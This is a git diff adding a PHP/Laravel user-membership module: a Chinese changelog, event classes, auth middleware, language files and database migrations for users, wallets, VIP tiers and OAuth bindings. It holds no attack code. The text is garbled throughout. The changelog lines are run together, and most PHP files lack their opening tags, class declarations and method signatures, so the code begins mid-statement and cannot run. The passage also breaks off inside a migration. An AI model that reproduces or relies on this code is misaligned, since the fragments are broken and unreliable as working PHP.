新增:使用LockUtil替代DBLockUtil +- 修复:用户授权登录绑定其他账号异常修复 +- 修复:register_phone接口不存在问题修复 +- 修复:用户消息单独点击已读操作不生效问题修复 + +--- + +## 3.5.0 PC端在线充值,用户退出事件 + +- 新增:用户PC端在线充值功能 +- 新增:用户退出事件 MemberLogoutEvent + +--- + +## 3.4.0 批量导出,VIP页面改版,VIP权益,样式优化等 + +- 新增:用户批量导出功能,可通过 exportEnable 配置 +- 新增:用户VIP页面改版,新增VIP简要说明 +- 新增:用户表新增用户消息字段,记录用户未读消息数量 +- 新增:用户VIP权益配置功能 +- 修复:用户名邮箱正则异常问题优化 +- 优化:用户中心样式文件修改修改 +- 优化:用户修改头像页面重构优化,防止裁减图片过大 +- 优化:用户消息中心样式优化,操作更便捷 +- 优化:用户设置后台界面帮助文字说明文案修改 +- 优化:用户VIP等级过期时间可为空,留空表示永久等级 +- 优化:用户VIP等级编辑设置界面参数按模块分区 +- 修复:数据库严格模式下字段异常问题 + +--- + +## 3.3.0 用户名长度配置,VIP可见控制,优化注册方式 + +- 新增:用户名长度可后台配置(默认为3) +- 新增:禁止注册时允许设置以授权方式注册 +- 新增:用户管理详情新增性别显示 +- 新增:VIP用户等级新增可见字段,控制前端是否展示 +- 优化:账号资料邮箱绑定绑定界面根据注册方式优化 +- 优化:用户删除逻辑修复部分已知问题 + +--- + +## 3.2.0 VIP积分关联,多用户组判断,多处逻辑优化 + +- 新增:用户VIP开通赠送积分功能开启 +- 新增:授权登录绑定手机和邮箱可配置 +- 新增:用户注册处理器新增排序字段 +- 新增:用户注册登录弹窗逻辑兼容处理 +- 新增:是否多用户组判断方法inGroupIds +- 新增:用户手机登录时自动注册 +- 新增:后台用户总数统计非删除用户数量 +- 新增:已删除用户调用时显示为"已删除用户" +- 优化:当前用户组返回逻辑处理 + +--- + +## 3.1.0 短信验证登录,VIP功能增强 + +- 新增:手机验证码快捷注册方式 +- 新增:注销账号功能,用户可主动申请注销账号 +- 新增:账号删除功能,后台可手动删除用户 +- 新增:用户积分名称全局可修改(如修改为金豆) +- 新增:用户消息发送模板查找逻辑升级 +- 新增:后台新增用户钱包流水详情列表 +- 新增:后台新增用户积分流水详情列表 +- 新增:后台管理用户批量禁用账户的功能 +- 新增:后台管理用户信息查看列表新增用户ID +- 新增:授权登录头像为空时,显示默认头像 +- 新增:登录失败提醒文案可跨定制 +- 新增:会员新增时VIP过期时间调整为非必须 +- 新增:文件上传和文件管理逻辑优化 +- 新增:后台手动增加会员触发事件 +- 新增:用户模型文件MemberUser +- 新增:用户钱包充值接口功能 +- 新增:用户昵称可修改功能 +- 优化:调整用户设置相关菜单到用户中心 +- 优化:用户授权登录OpenId绑定key逻辑 +- 优化:后台用户列表新增用户信息和修改账号操作 +- 优化:后台用户管理创建和编辑界面重构完成 +- 优化:用户中心功能设置界面重构 +- 优化:用户VIP开通支付实现方式 +- 修复:一处基础授权登录信息获取异常问题 + +--- + +## 3.0.0 短信验证登录,登录URL安装校验 + +- 新增:手机验证码快捷登录方式 +- 新增:用户默认登录方式可切换用户名密码或手机验证码 +- 新增:用户登录完成默认跳转到用户中心 +- 新增:用户登录跳转URL安全验证可配置 + +--- + +## 2.9.0 会员首页视图使用动态路径获取,可覆盖 + +- 优化:会员首页视图使用动态路径获取,可覆盖 + +--- + +## 2.8.0 钱包中心充值说哦名,钱包积分VIP启用逻辑简化 + +- 新增:后台链接选择增加用户开通VIP界面链接 +- 新增:用户钱包中心新增钱包充值说明 +- 优化:积分明细和钱包明细按照时间倒序排列 +- 优化:积分启用、钱包启用、VIP启用使用单一模块功能控制 + +--- + +## 2.7.0 用户中心新增退出,授权异常处理 + +- 新增:用户中心新增退出登录 +- 修复:授权登录手机端接口异常问题处理 + +--- + +## 2.6.0 用户VIP升级,管理布局优化 + +- 新增:用户VIP页面布局调整,主标题和副标题可配置 +- 新增:用户VIP使用者抽象类 +- 新增:用户VIP页面不登录访问不受限 +- 新增:后台用户积分和用户余额变更功能 +- 新增:后台链接选择找回密码 +- 新增:授权登录失败时,增加重新跳转登录逻辑 +- 优化:后台管理用户列表筛选布局优化 + +--- + +## 2.5.0 用户VIP优化,后台列显示定制 + +- 新增:支付对接方式升级 +- 新增:用户VIP过期时间后台可修改 +- 新增:后台用户列表自定义字段配置 +- 优化:用户页面授权信息优化 +- 优化:授权登录授权码兼容问题 +- 优化:默认VIP等级显示优化 + +--- + +## 2.4.1 用户VIP修改不生效问题修复 + +- 修复:用户后台VIP列表修改不生效问题修复 + +--- + +## 2.4.0 用户VIP功能优化 + +- 新增:用户VIP为空时,默认初始化VIP等级 +- 新增:用户VIP增加图标 +- 新增:用户首页显示VIP数据信息 +- 新增:适配Laravel9 diff --git a/module/Member/Events/MemberUserDeletedEvent.php b/module/Member/Events/MemberUserDeletedEvent.php new file mode 100644 index 00000000..730be800 --- /dev/null +++ b/module/Member/Events/MemberUserDeletedEvent.php @@ -0,0 +1,19 @@ +memberUserId = $memberUserId; + EventUtil::fire($event); + } + +} diff --git a/module/Member/Events/MemberUserLoginAttemptEvent.php b/module/Member/Events/MemberUserLoginAttemptEvent.php new file mode 100644 index 00000000..e0626411 --- /dev/null +++ b/module/Member/Events/MemberUserLoginAttemptEvent.php @@ -0,0 +1,23 @@ +memberUserId = $memberUserId; + $event->ip = $ip; + $event->ua = $ua; + EventUtil::fire($event); + } +} diff --git a/module/Member/Events/MemberUserLoginFailedEvent.php b/module/Member/Events/MemberUserLoginFailedEvent.php new file mode 100644 index 00000000..3d3d1e84 --- /dev/null +++ b/module/Member/Events/MemberUserLoginFailedEvent.php @@ -0,0 +1,25 @@ +memberUserId = $memberUserId; + $event->username = $username; + $event->ip = $ip; + $event->ua = $ua; + EventUtil::fire($event); + } +} diff --git a/module/Member/Events/MemberUserLoginedEvent.php b/module/Member/Events/MemberUserLoginedEvent.php new file mode 100644 index 00000000..7b663363 --- /dev/null +++ b/module/Member/Events/MemberUserLoginedEvent.php @@ -0,0 +1,15 @@ +memberUserId = $memberUserId; + } + + +} \ No newline at end of file diff --git a/module/Member/Events/MemberUserLogoutEvent.php b/module/Member/Events/MemberUserLogoutEvent.php new file mode 100644 index 00000000..cdddde61 --- /dev/null +++ b/module/Member/Events/MemberUserLogoutEvent.php @@ -0,0 +1,15 @@ +memberUserId = $memberUserId; + } + + +} diff --git a/module/Member/Events/MemberUserPasswordResetedEvent.php b/module/Member/Events/MemberUserPasswordResetedEvent.php new file mode 100644 index 00000000..da40df38 --- /dev/null +++ b/module/Member/Events/MemberUserPasswordResetedEvent.php @@ -0,0 +1,17 @@ +memberUserId = $memberUserId; + $this->newPassword = $newPassword; + } + +} \ No newline at end of file diff --git a/module/Member/Events/MemberUserRegisteredEvent.php b/module/Member/Events/MemberUserRegisteredEvent.php new file mode 100644 index 00000000..82217826 --- /dev/null +++ b/module/Member/Events/MemberUserRegisteredEvent.php @@ -0,0 +1,15 @@ +memberUserId = $memberUserId; + } + +} \ No newline at end of file diff --git a/module/Member/Events/MemberUserUpdatedEvent.php b/module/Member/Events/MemberUserUpdatedEvent.php new file mode 100644 index 00000000..2e804b0a --- /dev/null +++ b/module/Member/Events/MemberUserUpdatedEvent.php @@ -0,0 +1,18 @@ +memberUserId = $memberUserId; + $this->type = $type; + } + +} \ No newline at end of file diff --git a/module/Member/Events/MemberUserVipChangeEvent.php b/module/Member/Events/MemberUserVipChangeEvent.php new file mode 100644 index 00000000..69979de2 --- /dev/null +++ b/module/Member/Events/MemberUserVipChangeEvent.php @@ -0,0 +1,23 @@ +memberUserId = $memberUserId; + $event->fromVipId = $fromVipId; + $event->toVipId = $toVipId; + EventUtil::fire($event); + } +} diff --git a/module/Member/Field/AutoRenderedMemberUsersField.php b/module/Member/Field/AutoRenderedMemberUsersField.php new file mode 100644 index 00000000..0715fa6d --- /dev/null +++ b/module/Member/Field/AutoRenderedMemberUsersField.php @@ -0,0 +1,41 @@ +' . htmlspecialchars($item) . ''; + }, MemberUtil::listViewName($param['memberUserIds'])); + return AutoRenderedFieldValue::make(join(' ', $names)); + case FieldRenderMode::FORM: + $memberUsers = MemberUtil::listUsers($param['memberUserIds']); + $memberUserIds = ArrayUtil::flatItemsByKey($memberUsers, 'id'); + $memberUsers = array_map(function ($item) { + return [ + 'value' => intval($item['id']), + 'name' => MemberUtil::viewName($item), + 'avatar' => AssetsUtil::fixOrDefault($item['avatar'], 'asset/image/avatar.svg'), + ]; + }, $memberUsers); + return AutoRenderedFieldValue::makeView('module::Member.View.field.memberUsers', [ + 'memberUserIds' => $memberUserIds, + 'memberUsers' => $memberUsers, + 'param' => $param, + ]); + } + } +} diff --git a/module/Member/Lang/en.php b/module/Member/Lang/en.php new file mode 100644 index 00000000..e29b849d --- /dev/null +++ b/module/Member/Lang/en.php @@ -0,0 +1,12 @@ + "ChangeAvatar", + "ChangePassword" => "ChangePassword", + "Credit" => "Credit", + "MenuAccount" => "MenuAccount", + "MenuLogout" => "MenuLogout", + "MenuMessage" => "MenuMessage", + "MenuSecurity" => "MenuSecurity", + "MenuWallet" => "MenuWallet", + "My" => "My" +]; \ No newline at end of file diff --git a/module/Member/Lang/zh.php b/module/Member/Lang/zh.php new file mode 100644 index 00000000..9f5c5f14 --- /dev/null +++ b/module/Member/Lang/zh.php @@ -0,0 +1,17 @@ + "修改头像", + "ChangePassword" => "修改密码", + "Credit" => "积分", + "Login" => "登录", + "MenuAccount" => "账号资料", + "MenuAddress" => "我的地址", + "MenuLogout" => "退出登录", + "MenuMessage" => "我的消息", + "MenuSecurity" => "账号安全", + "MenuWallet" => "我的钱包", + "My" => "我的", + "Open VIP" => "开通VIP", + "Register" => "注册", + "积分" => "积分" +]; \ No newline at end of file diff --git a/module/Member/Middleware/ApiAuthMiddleware.php b/module/Member/Middleware/ApiAuthMiddleware.php new file mode 100644 index 00000000..9860f204 --- /dev/null +++ b/module/Member/Middleware/ApiAuthMiddleware.php @@ -0,0 +1,64 @@ + Request::currentPageUrl(), + ])); + } + } + } + Session::put('memberUserId', $memberUserId); + Session::flash('_memberUser', $memberUser); + return $next($request); + } +} diff --git a/module/Member/Middleware/WebAuthMiddleware.php b/module/Member/Middleware/WebAuthMiddleware.php new file mode 100644 index 00000000..fbed018d --- /dev/null +++ b/module/Member/Middleware/WebAuthMiddleware.php @@ -0,0 +1,59 @@ +increments('id'); + $table->timestamps(); + + $table->string('username', 50)->nullable()->comment('用户名'); + $table->string('phone', 20)->nullable()->comment('手机'); + $table->string('email', 200)->nullable()->comment('邮箱')->charset('utf8'); + $table->char('password', 32)->nullable()->comment('密码'); + $table->char('passwordSalt', 16)->nullable()->comment('密码Salt'); + $table->timestamp('lastLoginTime')->nullable()->comment('上次登录时间'); + $table->string('lastLoginIp', 20)->nullable()->comment('上次登录Ip'); + $table->boolean('phoneVerified')->nullable()->comment('手机已验证'); + $table->boolean('emailVerified')->nullable()->comment('邮箱已验证'); + + $table->string('avatar', 100)->nullable()->comment('头像(小)'); + $table->string('avatarMedium', 100)->nullable()->comment('头像(中)'); + $table->string('avatarBig', 100)->nullable()->comment('头像(大)'); + + /** @see \Module\Member\Type\Gender */ + $table->tinyInteger('gender')->nullable()->comment('性别'); + $table->string('realname', 20)->nullable()->comment('真实姓名'); + $table->string('signature', 200)->nullable()->comment('个性签名'); + + $table->index('username'); + $table->index('phone'); + $table->index('email'); + + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2016_05_29_000000_create_member_message.php b/module/Member/Migrate/2016_05_29_000000_create_member_message.php new file mode 100644 index 00000000..f3a6c7d1 --- /dev/null +++ b/module/Member/Migrate/2016_05_29_000000_create_member_message.php @@ -0,0 +1,39 @@ +increments('id'); + $table->timestamps(); + + $table->integer('userId')->comment('用户ID')->nullable(); + $table->tinyInteger('status')->comment('1未读 2已读')->nullable(); + $table->integer('fromId')->comment('来源用户ID')->nullable(); + $table->text('content')->comment('消息内容(html)')->nullable(); + + $table->index(['userId', 'status']); + + }); + } + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + } +} diff --git a/module/Member/Migrate/2016_07_22_000000_create_member_favorite.php b/module/Member/Migrate/2016_07_22_000000_create_member_favorite.php new file mode 100644 index 00000000..ebe26463 --- /dev/null +++ b/module/Member/Migrate/2016_07_22_000000_create_member_favorite.php @@ -0,0 +1,36 @@ +increments('id'); + $table->timestamps(); + + $table->integer('userId')->comment('用户ID')->nullable(); + $table->string('category', 20)->comment('类别')->nullable(); + $table->integer('categoryId')->comment('所属类别ID')->nullable(); + + $table->index(['userId', 'category']); + + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + } +} diff --git a/module/Member/Migrate/2016_07_22_000000_create_member_oauth.php b/module/Member/Migrate/2016_07_22_000000_create_member_oauth.php new file mode 100644 index 00000000..3d1740f0 --- /dev/null +++ b/module/Member/Migrate/2016_07_22_000000_create_member_oauth.php @@ -0,0 +1,37 @@ +increments('id'); + $table->timestamps(); + + $table->integer('memberUserId')->comment('用户ID')->nullable(); + $table->string('type', 30)->comment('类型')->nullable(); + $table->string('openId', 150)->comment('OpenId')->nullable(); + + $table->unique(['type', 'openId']); + $table->index(['memberUserId']); + + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + } +} diff --git a/module/Member/Migrate/2016_11_11_000000_create_member_upload.php b/module/Member/Migrate/2016_11_11_000000_create_member_upload.php new file mode 100644 index 00000000..bd56d39f --- /dev/null +++ b/module/Member/Migrate/2016_11_11_000000_create_member_upload.php @@ -0,0 +1,42 @@ +increments('id'); + $table->timestamps(); + $table->unsignedInteger('userId')->nullable()->comment('用户ID'); + $table->string('category', 10)->nullable()->comment('大类'); + $table->unsignedInteger('dataId')->nullable()->comment('文件ID'); + + $table->integer('uploadCategoryId')->nullable()->comment('分类ID'); + + $table->index(['userId', 'uploadCategoryId']); + $table->index(['dataId']); + + }); + } + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2017_01_01_000000_create_member_address.php b/module/Member/Migrate/2017_01_01_000000_create_member_address.php new file mode 100644 index 00000000..30a305e7 --- /dev/null +++ b/module/Member/Migrate/2017_01_01_000000_create_member_address.php @@ -0,0 +1,45 @@ +increments('id'); + $table->timestamps(); + + $table->integer('userId')->nullable()->comment('用户ID'); + + $table->string('name', 20)->nullable()->comment('姓名'); + $table->string('phone', 20)->nullable()->comment('手机号'); + $table->string('area', 100)->nullable()->comment('省市地区'); + $table->string('detail', 200)->nullable()->comment('详细地址'); + $table->string('post', 20)->nullable()->comment('邮政编码'); + + $table->tinyInteger('isDefault')->nullable()->comment('默认'); + + $table->index(['userId']); + + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2017_07_07_000000_create_member_money_cash.php b/module/Member/Migrate/2017_07_07_000000_create_member_money_cash.php new file mode 100644 index 00000000..883e43f1 --- /dev/null +++ b/module/Member/Migrate/2017_07_07_000000_create_member_money_cash.php @@ -0,0 +1,48 @@ +increments('id'); + $table->timestamps(); + + $table->integer('memberUserId')->nullable()->comment('用户ID'); + /** @see \Module\Member\Type\MemberMoneyCashStatus */ + $table->tinyInteger('status')->nullable()->comment('状态'); + $table->decimal('money', 20, 2)->nullable()->comment('金额'); + $table->decimal('moneyAfterTax', 20, 2)->nullable()->comment('实际到账'); + $table->string('remark', 100)->nullable()->comment('备注'); + + /** @see \Module\Member\Type\MemberMoneyCashType */ + $table->tinyInteger('type')->nullable()->comment('提现账号类型'); + $table->string('realname', 50)->nullable()->comment('提现账号姓名'); + $table->string('account', 200)->nullable()->comment('提现账号'); + + $table->index(['memberUserId']); + + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2017_12_18_000000_create_member_money.php b/module/Member/Migrate/2017_12_18_000000_create_member_money.php new file mode 100644 index 00000000..6b83d8aa --- /dev/null +++ b/module/Member/Migrate/2017_12_18_000000_create_member_money.php @@ -0,0 +1,40 @@ +increments('id'); + $table->timestamps(); + + $table->integer('memberUserId')->nullable()->comment('用户ID'); + $table->decimal('total', 20, 2)->nullable()->comment('金额'); + + $table->unique(['memberUserId']); + + }); + } + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2017_12_18_000000_create_member_money_log.php b/module/Member/Migrate/2017_12_18_000000_create_member_money_log.php new file mode 100644 index 00000000..305a4e8b --- /dev/null +++ b/module/Member/Migrate/2017_12_18_000000_create_member_money_log.php @@ -0,0 +1,42 @@ +increments('id'); + $table->timestamps(); + + $table->integer('memberUserId')->nullable()->comment('用户ID'); + $table->decimal('change', 20, 2)->nullable()->comment('金额'); + $table->string('remark', 100)->nullable()->comment('备注'); + + $table->index(['memberUserId']); + + }); + } + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2017_12_27_000000_create_member_credit.php b/module/Member/Migrate/2017_12_27_000000_create_member_credit.php new file mode 100644 index 00000000..680b002a --- /dev/null +++ b/module/Member/Migrate/2017_12_27_000000_create_member_credit.php @@ -0,0 +1,38 @@ +increments('id'); + $table->timestamps(); + + $table->integer('memberUserId')->nullable()->comment('用户ID'); + $table->integer('total')->nullable()->comment('数量'); + + $table->unique(['memberUserId']); + + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2017_12_27_000000_create_member_credit_log.php b/module/Member/Migrate/2017_12_27_000000_create_member_credit_log.php new file mode 100644 index 00000000..6defd28a --- /dev/null +++ b/module/Member/Migrate/2017_12_27_000000_create_member_credit_log.php @@ -0,0 +1,40 @@ +increments('id'); + $table->timestamps(); + + $table->integer('memberUserId')->nullable()->comment('用户ID'); + $table->integer('change')->nullable()->comment('金额'); + $table->string('remark', 100)->nullable()->comment('备注'); + + $table->index(['memberUserId']); + + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2019_01_01_000000_create_member_upload_category.php b/module/Member/Migrate/2019_01_01_000000_create_member_upload_category.php new file mode 100644 index 00000000..b8acb394 --- /dev/null +++ b/module/Member/Migrate/2019_01_01_000000_create_member_upload_category.php @@ -0,0 +1,44 @@ +increments('id'); + $table->timestamps(); + + $table->integer('userId')->nullable()->comment('用户ID'); + + $table->string('category', 10)->nullable()->comment('大类'); + + $table->integer('pid')->nullable()->comment('上级分类'); + $table->integer('sort')->nullable()->comment('排序'); + $table->string('title', 50)->nullable()->comment('名称'); + + $table->index(['userId']); + + }); + } + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2020_05_14_000000_create_member_money_charge_order.php b/module/Member/Migrate/2020_05_14_000000_create_member_money_charge_order.php new file mode 100644 index 00000000..e9dee715 --- /dev/null +++ b/module/Member/Migrate/2020_05_14_000000_create_member_money_charge_order.php @@ -0,0 +1,41 @@ +increments('id'); + $table->timestamps(); + + $table->integer('memberUserId')->nullable()->comment('排序'); + $table->decimal('money', 20, 2)->nullable()->comment(''); + + /** @see \Module\Vendor\Type\OrderStatus */ + $table->tinyInteger('status')->nullable()->comment('默认'); + + $table->index(['memberUserId']); + $table->index(['created_at']); + + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2020_05_14_000000_create_member_vip.php b/module/Member/Migrate/2020_05_14_000000_create_member_vip.php new file mode 100644 index 00000000..9eb6fe15 --- /dev/null +++ b/module/Member/Migrate/2020_05_14_000000_create_member_vip.php @@ -0,0 +1,50 @@ +integer('vipId')->nullable()->comment(''); + $table->date('vipExpire')->nullable()->comment(''); + + }); + + Schema::create('member_vip_set', function (Blueprint $table) { + + $table->increments('id'); + $table->timestamps(); + + $table->string('title', 50)->nullable()->comment('名称'); + $table->string('flag', 50)->nullable()->comment('标识'); + $table->integer('pid')->nullable()->comment('排序'); + $table->integer('sort')->nullable()->comment('排序'); + $table->tinyInteger('isDefault')->nullable()->comment('默认'); + $table->string('icon', 100)->nullable()->comment('图标'); + + $table->decimal('price', 20, 2)->nullable()->comment(''); + $table->integer('vipDays')->nullable()->comment(''); + $table->text('content')->nullable()->comment('说明'); + + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2020_05_14_000000_create_member_vip_order.php b/module/Member/Migrate/2020_05_14_000000_create_member_vip_order.php new file mode 100644 index 00000000..36870f59 --- /dev/null +++ b/module/Member/Migrate/2020_05_14_000000_create_member_vip_order.php @@ -0,0 +1,42 @@ +increments('id'); + $table->timestamps(); + + $table->integer('memberUserId')->nullable()->comment('排序'); + $table->integer('vipId')->nullable()->comment(''); + $table->decimal('payFee', 20, 2)->nullable()->comment(''); + + /** @see \Module\Vendor\Type\OrderStatus */ + $table->tinyInteger('status')->nullable()->comment('默认'); + + $table->date('expire')->nullable()->comment(''); + $table->string('type', 20)->nullable()->comment(''); + + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2021_06_01_000000_create_member_address_user_id_fix.php b/module/Member/Migrate/2021_06_01_000000_create_member_address_user_id_fix.php new file mode 100644 index 00000000..eb10313f --- /dev/null +++ b/module/Member/Migrate/2021_06_01_000000_create_member_address_user_id_fix.php @@ -0,0 +1,30 @@ +renameColumn('userId', 'memberUserId'); + }); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2021_07_31_221028_modify_member_user_add_nickname.php b/module/Member/Migrate/2021_07_31_221028_modify_member_user_add_nickname.php new file mode 100644 index 00000000..db142e2c --- /dev/null +++ b/module/Member/Migrate/2021_07_31_221028_modify_member_user_add_nickname.php @@ -0,0 +1,34 @@ +string('nickname', 50)->nullable()->comment(''); + $table->index('nickname'); + + }); + } + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2021_08_11_000000_modify_member_user_add_status.php b/module/Member/Migrate/2021_08_11_000000_modify_member_user_add_status.php new file mode 100644 index 00000000..279c5325 --- /dev/null +++ b/module/Member/Migrate/2021_08_11_000000_modify_member_user_add_status.php @@ -0,0 +1,32 @@ +tinyInteger('status')->nullable()->comment(''); + + }); + \ModStart\Core\Dao\ModelUtil::updateAll('member_user', ['status' => \Module\Member\Type\MemberStatus::NORMAL]); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2021_11_02_000001_create_member_group.php b/module/Member/Migrate/2021_11_02_000001_create_member_group.php new file mode 100644 index 00000000..709814ec --- /dev/null +++ b/module/Member/Migrate/2021_11_02_000001_create_member_group.php @@ -0,0 +1,50 @@ +increments('id'); + $table->timestamps(); + $table->string('title', 50)->nullable()->comment('名称'); + $table->string('description', 200)->nullable()->comment('描述'); + $table->tinyInteger('isDefault')->nullable()->comment('默认'); + }); + + Schema::table('member_user', function (Blueprint $table) { + $table->integer('groupId')->nullable()->comment(''); + }); + + \ModStart\Core\Dao\ModelUtil::insertAll('member_group', [ + [ + 'title' => '普通用户', + 'description' => '', + 'isDefault' => true, + ], + [ + 'title' => '高级用户', + 'description' => '', + 'isDefault' => false, + ], + ]); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2021_11_04_000000_modify_member_oauth_add_info.php b/module/Member/Migrate/2021_11_04_000000_modify_member_oauth_add_info.php new file mode 100644 index 00000000..3ddf719e --- /dev/null +++ b/module/Member/Migrate/2021_11_04_000000_modify_member_oauth_add_info.php @@ -0,0 +1,29 @@ +string('infoUsername', 100)->nullable(); + $table->string('infoAvatar', 200)->nullable(); + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + } +} diff --git a/module/Member/Migrate/2021_11_14_000000_modify_member_group_add_show_front.php b/module/Member/Migrate/2021_11_14_000000_modify_member_group_add_show_front.php new file mode 100644 index 00000000..0e0318e2 --- /dev/null +++ b/module/Member/Migrate/2021_11_14_000000_modify_member_group_add_show_front.php @@ -0,0 +1,29 @@ +tinyInteger('showFront')->nullable()->comment('前台显示'); + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2022_01_10_000001_member_member_vip_init.php b/module/Member/Migrate/2022_01_10_000001_member_member_vip_init.php new file mode 100644 index 00000000..ad9e2e4c --- /dev/null +++ b/module/Member/Migrate/2022_01_10_000001_member_member_vip_init.php @@ -0,0 +1,71 @@ + 1, + 'flag' => 'default', + 'title' => '普通会员', + 'price' => '0.00', + 'vipDays' => 0, + 'isDefault' => true, + 'content' => '

普通会员说明

', + ], + [ + 'id' => 2, + 'flag' => 'vip1', + 'title' => '黄金月卡', + 'price' => '19.99', + 'vipDays' => 30, + 'isDefault' => false, + 'content' => '

黄金月卡会员

+

30天有效期

+

享受黄金会员福利

', + ], + [ + 'id' => 3, + 'flag' => 'vip2', + 'title' => '钻石季卡', + 'price' => '49.99', + 'vipDays' => 90, + 'isDefault' => false, + 'content' => '

钻石季卡会员

+

90天有效期

+

享受钻石会员福利

', + ], + [ + 'id' => 4, + 'flag' => 'vip3', + 'title' => '至尊年卡', + 'price' => '189.99', + 'vipDays' => 365, + 'isDefault' => false, + 'content' => '

至尊年卡会员

+

365天有效期

+

享受至尊会员福利

', + ], + ]); + } + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2022_06_22_000001_create_member_delete_table.php b/module/Member/Migrate/2022_06_22_000001_create_member_delete_table.php new file mode 100644 index 00000000..bbb8619c --- /dev/null +++ b/module/Member/Migrate/2022_06_22_000001_create_member_delete_table.php @@ -0,0 +1,47 @@ +bigInteger('deleteAtTime')->nullable()->comment('已删除'); + $table->tinyInteger('isDeleted')->nullable()->comment('已删除'); + $table->index(['deleteAtTime']); + + }); + + Schema::create('member_deleted', function (Blueprint $table) { + $table->increments('id'); + $table->timestamps(); + $table->string('username', 50)->nullable()->comment('用户名'); + $table->string('phone', 20)->nullable()->comment('手机'); + $table->string('email', 200)->nullable()->comment('邮箱'); + $table->text('content')->comment('其他数据'); + }); + + \ModStart\Core\Dao\ModelUtil::updateAll('member_user', [ + 'isDeleted' => false, + ]); + + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2022_08_10_000000_upgrade_member_upload_category_id.php b/module/Member/Migrate/2022_08_10_000000_upgrade_member_upload_category_id.php new file mode 100644 index 00000000..fdd0e693 --- /dev/null +++ b/module/Member/Migrate/2022_08_10_000000_upgrade_member_upload_category_id.php @@ -0,0 +1,30 @@ + 0, + ], [ + 'uploadCategoryId' => -1, + ]); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + } +} diff --git a/module/Member/Migrate/2022_09_08_000000_member_member_vip_credit.php b/module/Member/Migrate/2022_09_08_000000_member_member_vip_credit.php new file mode 100644 index 00000000..7a770bf3 --- /dev/null +++ b/module/Member/Migrate/2022_09_08_000000_member_member_vip_credit.php @@ -0,0 +1,32 @@ +tinyInteger('creditPresentEnable')->nullable()->comment(''); + $table->integer('creditPresentValue')->nullable()->comment(''); + + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2022_09_20_000000_create_member_meta.php b/module/Member/Migrate/2022_09_20_000000_create_member_meta.php new file mode 100644 index 00000000..3621730d --- /dev/null +++ b/module/Member/Migrate/2022_09_20_000000_create_member_meta.php @@ -0,0 +1,36 @@ +increments('id'); + $table->timestamps(); + + $table->integer('memberUserId')->comment('')->nullable(); + $table->string('name', 30)->comment('')->nullable(); + $table->string('value', 1000)->comment('')->nullable(); + + $table->unique(['memberUserId', 'name']); + + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + } +} diff --git a/module/Member/Migrate/2022_09_20_000000_modify_member_user_message_count.php b/module/Member/Migrate/2022_09_20_000000_modify_member_user_message_count.php new file mode 100644 index 00000000..cab7986e --- /dev/null +++ b/module/Member/Migrate/2022_09_20_000000_modify_member_user_message_count.php @@ -0,0 +1,43 @@ +integer('messageCount')->nullable()->comment('未读消息数量'); + }); + + $records = ModelUtil::model('member_message') + ->where(['status' => MemberMessageStatus::UNREAD]) + ->groupBy('userId') + ->get(['userId', \DB::raw('count(*) as count')]) + ->toArray(); + foreach ($records as $record) { + MemberUtil::update($record['userId'], [ + 'messageCount' => $record['count'] + ]); + } + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2022_09_20_000000_modify_member_user_register_ip.php b/module/Member/Migrate/2022_09_20_000000_modify_member_user_register_ip.php new file mode 100644 index 00000000..9d00f67b --- /dev/null +++ b/module/Member/Migrate/2022_09_20_000000_modify_member_user_register_ip.php @@ -0,0 +1,29 @@ +string('registerIp', 20)->nullable()->comment('注册IP'); + }); + } + + /** + * Reverse the migrations. + * + * @return void + */ + public function down() + { + + } +} diff --git a/module/Member/Migrate/2022_09_23_000000_modify_member_id_big.php b/module/Member/Migrate/2022_09_23_000000_modify_member_id_big.php new file mode 100644 index 00000000..5995b57f --- /dev/null +++ b/module/Member/Migrate/2022_09_23_000000_modify_member_id_big.php @@ -0,0 +1,91 @@ +bigIncrements('id')->change(); + }); + Schema::table('member_message', function (Blueprint $table) { + $table->bigIncrements('id')->change(); + $table->unsignedBigInteger('userId')->change(); + $table->unsignedBigInteger('fromId')->change(); + }); + Schema::table('member_favorite', function (Blueprint $table) { + 